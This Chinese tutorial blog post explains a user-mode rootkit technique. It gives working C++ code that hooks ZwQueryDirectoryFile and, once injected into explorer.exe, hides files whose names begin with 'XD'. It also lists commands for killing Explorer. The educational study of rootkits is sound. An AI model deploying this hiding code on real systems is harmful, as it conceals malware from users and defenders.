在【Day 06】致不灭的 DLL - DLL Injection、【Day 09】Hook 的奇妙冒险 - Ring3 Hook 我们分别认识了基本的 DLL Injection 和 Hook;在【Day 13】粗暴後门,Duck 不必 - Windows 简单後门也认识了後门的存在用途。
之前介绍过,後门是个用来维持权限的手法,让骇客可以更方便的再次进入受害主机。但是单纯的後门可能很容易被发现,所以通常 Rootkit 会需要一些方法躲避侦测。这篇文章将说明 Ring3 Rootkit 的其中一个功能,把存在的档案隐藏,让 Explorer 瞎掉。
大家使用 Windows 时,有没有想过为什麽能看得到桌面、档案的 Icon 等等,是谁在这所有人都觉得理所当然的 UI 介面後默默付出呢?主角就是 Explorer 这个 Process。
之前听过一个整人技巧,就是把 Explorer 这个 Process 砍掉。在 cmd 上打以下指令,然後就会看不到桌面和档案。
:: 请在虚拟机上做
# tasklist | find "explorer"
explorer.exe 1656 Console 2 138,028 K
:: 输入完这行会看不到桌面
# taskkill /pid /f 1656
:: 要复原的话就再开启 Explorer
# explorer
那 Explorer 是怎麽做到把档案列举出来的呢?其实 Explorer 这个 Process 使用了定义在 ntdll.dll 的 ZwQueryDirectoryFile 函数,它会提供档案结构让程序可以访问它,接着使用者就能看到目录中有哪些档案了。所以只要能够窜改这个档案结构,就能够达到隐藏档案的效果。
仔细看一下 ZwQueryDirectoryFile 这个函数原型。其中的 FileInformation 就存放着档案结构,长度为 Length。FileInformation 不只一种型态,而是会根据 FileInformationClass 的不同改变,因此在窜改 FileInformation 时,也需要注意 FileInformationClass。
NTSYSAPI NTSTATUS ZwQueryDirectoryFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FILE_INFORMATION_CLASS FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
);
以 FILE_DIRECTORY_INFORMATION 为例,它的函数原型如下。第一个参数 NextEntryOffset 存放着目前这个 Entry 到下一个 Entry 的距离,而每个 Entry 都会是一个 FILE_DIRECTORY_INFORMATION。我们可以透过最後一个参数 FileName 来判断目前这个档案是不是我们要隐藏的。
typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG FileIndex;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
目前已经知道档案的结构是 FileInformation,其中一个一个 Entry 以 NextEntryOffset 的方式串在一起,下图简单示意。
如果现在要隐藏的是 File 3,那就把 File 3 这个 Entry 的位址改成 File 4 这个 Entry,示意图如下。
首先先 Hook ZwQueryDirectoryFile,窜改成我们自己定义的 DetourZwQueryDirectoryFile,实作过程跟【Day 09】Hook 的奇妙冒险 - Ring3 Hook 大同小异,这边不赘述,这篇重点放在 DetourZwQueryDirectoryFile 的部分。
这里截取关键程序片段,完整的程序专案可以参考我的 GitHub zeze-zeze/2021iThome。
// 窜改原始的 ZwQueryDirectoryFile,隐藏档名中有 "XD" 字串的档案
NTSTATUS DetourZwQueryDirectoryFile(
HANDLE FileHandle,
HANDLE Event,
PIO_APC_ROUTINE ApcRoutine,
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
PVOID FileInformation,
ULONG Length,
FileInformationClassEx FileInformationClass,
BOOLEAN ReturnSingleEntry,
PUNICODE_STRING FileName,
BOOLEAN RestartScan
) {
// 1. 呼叫原本的 ZwQueryDirectoryFile,取得档案结构
NTSTATUS status = fpZwQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan);
// 2. 确认是不是目标的 FileInformationClass
if (NT_SUCCESS(status) && (FileInformationClass == FileInformationClassEx::FileDirectoryInformation || FileInformationClass == FileInformationClassEx::FileFullDirectoryInformation || FileInformationClass == FileInformationClassEx::FileIdFullDirectoryInformation || FileInformationClass == FileInformationClassEx::FileBothDirectoryInformation || FileInformationClass == FileInformationClassEx::FileIdBothDirectoryInformation || FileInformationClass == FileInformationClassEx::FileNamesInformation)) {
PVOID pCurrent = FileInformation;
PVOID pPrevious = NULL;
do {
// 3. 透过档名判断是不是要隐藏的档案
if (wstring(GetFileDirEntryFileName(pCurrent, FileInformationClass)).find(L"XD") == 0) {
// 4. 要隐藏的档案,就把目前的 Entry 窜改成下一个 Entry
ULONG nextEntryOffset = GetFileNextEntryOffset(pCurrent, FileInformationClass);
if (nextEntryOffset != 0) {
int bytes = (DWORD)Length - ((ULONG)pCurrent - (ULONG)FileInformation) - nextEntryOffset;
RtlCopyMemory((PVOID)pCurrent, (PVOID)((char*)pCurrent + nextEntryOffset), (DWORD)bytes);
}
// 如果已经是最後一个档案了,就把上一个 Entry 的 NextEntryOffset 改成 0
else {
if (pCurrent == FileInformation)status = 0;
else SetFileNextEntryOffset(pPrevious, FileInformationClass, 0);
break;
}
}
else {
// 5. 不隐藏的档案,就加上 NextEntryOffset 继续判断下一个档案,直到 NextEntryOffset 等於 0 为止
pPrevious = pCurrent;
pCurrent = (BYTE*)pCurrent + GetFileNextEntryOffset(pCurrent, FileInformationClass);
}
} while (GetFileNextEntryOffset(pPrevious, FileInformationClass) != 0);
}
return status;
}
由於这只是个 DLL,还需要一个 DLL Injector 实作 DLL Injection 注入到 explorer.exe 中,可以参考【Day 06】致不灭的 DLL - DLL Injection 或是用 Cheat Engine 也行。
注入 explorer.exe 之後,会发现档案名称有 "XD" 字串的档案消失了,要回复的话就把 Explorer Process 砍掉重开。
<<: D19 - 用 Swift 和公开资讯,打造投资理财的 Apps { 移动平均线(MA线)实作.2 }
上次优先顺序还没讲,今天就来讲解一下 数学的运算符号有优先顺序的差别,JAVA也有 数学符号无疑是加...
第二天,我们来谈谈JavaScript(JS)与TypeScript(TS)的比较吧! 使用Java...
上一篇我们编写了 Serializers, Views,以及修改了urls.py,完成了基本的菜单查...
一般而言会接收Id (可能是个Pk 唯一值)来进行删除操作 这里一样是新增删除action在上几篇的...
ES6:fetch fetch():Fetch API 提供了一个能获取包含跨网路资源在的资源介面,...